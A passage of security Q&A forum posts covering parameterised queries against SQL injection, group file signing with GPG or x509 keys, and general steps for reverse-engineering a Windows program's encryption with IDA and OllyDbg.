That's because the clean way to deal with SQL injections is almost always using parametrized queries (prepared statements). If you are auditing the source code, it would be best if instead of just flagging the SQL queries that you think are exploitable, you would rewrite all raw SQL queries to proper prepared statements. That makes the next audit much easier and you don't have to spend time thinking about escaping patterns and evasion techniques.


Encryption scheme where multiple users can encrypt I have a use case where I need to ensure that a file is received from users in a group. Users may be added or removed from this group and encryption is not mandatory, just to ensure that the file came from one of those users

My first thought was to use symmetric encryption, but it would make removing users from the group hard.

Then I though using a private and public key pair for each user, the user encrypts the file with his private key and when I have to use it decrypt it with the public key. If a user needs to be removed I could just revoke his certificate

The problem is that I don't know from which user the file came from, therefore I should try to decrypt it with every key until it successfully decrypts

Is there a simpler way to achieve this?

That sounds like a use-case for GPG - have you tried GPG and found it lacking (as many others have), and want a different solution?

If not, then GPG sounds like the appropriate tool for the job - although it does mean you will have one key per user, and no control over that key (although you can choose to mark it as untrusted).

If you do need control over the key, then x509 does sound like the better way to go, but as you say, you need to then manage decryption.

I would also caution against your private key encrypt, public key decrypt approach, as it means all users with access to the public key (i.e. anyone having had a copy of the cert) can decrypt. To avoid that, you would need to use the recipient's public key for encryption (and the sender's private key for signing).

In passing: you seem to be talking about signing, for which you don't need to worry about encryption. Either way, publishing/validating public keys (e.g. in LDAP, or using x509) seems like a possible solution.


Reversing encryption by analysing executable I have a program that reads data from a file, parses/organizes it, and spits it out as an encrypted XML. The application can also take an encrypted XML and spit out the original file. My objective at this point would be to access the clear-text XML (I'm not interested in the clear text original file as it's not XML organized)

I have no idea what the encryption is yet although one guy on a forum said it was AES-128 (not sure how he got to that conclusion).

I ran PEiD with the KANAL plugin on the application, it doesn't detect any encryption signatures.

Because I have access to the program and some past some experience with exploiting BO on WinXP with some knowledge of ASM, I figured I could give it a try using a debugger.

In a nutshell, what are the general steps I should be following to figure this out? In this situation would it be best to start looking for the encryption key itself, or find a way to use the application's encrypt/decrypt functions to my advantage?

EDIT: Target is a Windows executable

Reverse Engineering a Windows Binary
Get a Disassembler
I'd start by downloading the evaluation version of IDA. Because it is the evaluation version it has a pop up and won't let you save, but it should be good enough to get started. Note: This won't work for a 64-bit binary. Go check out this page for alternative disassemblers if necessary.
Inspect the Strings
Before you dig into the actual code, start by inspecting the strings. IDA has a tab (or an option in the "views" menu) that will list all the strings found in the binary. Oftentimes, encryption libraries will accept a string like "SHA-256" to indicate what kind of algorithm to use.
Additionally, look for anything that could be a key. The kind of key being used depends on the algorithm, so you may be looking for a password, passphrase or not a string at all but a block of data.
If you can find the name of the encryption routine as a string, you can cross reference it (the x key in IDA) back to the original encryption function. If you can find the encrytion function make note of the address.
Dynamic Analysis
Some of the Disassemblers mentioned above (including IDA) also include a debugger. I personally like OllyDbg. Set a breakpoint at the encryption routine you fund above and then run the program. Inspect memory and attempt to find the encryption key.
You can also use your debugger to dump the memory of the program. After dumping the memory of a live program, you can use a utility like strings in sysinternals to attempt to locate a key.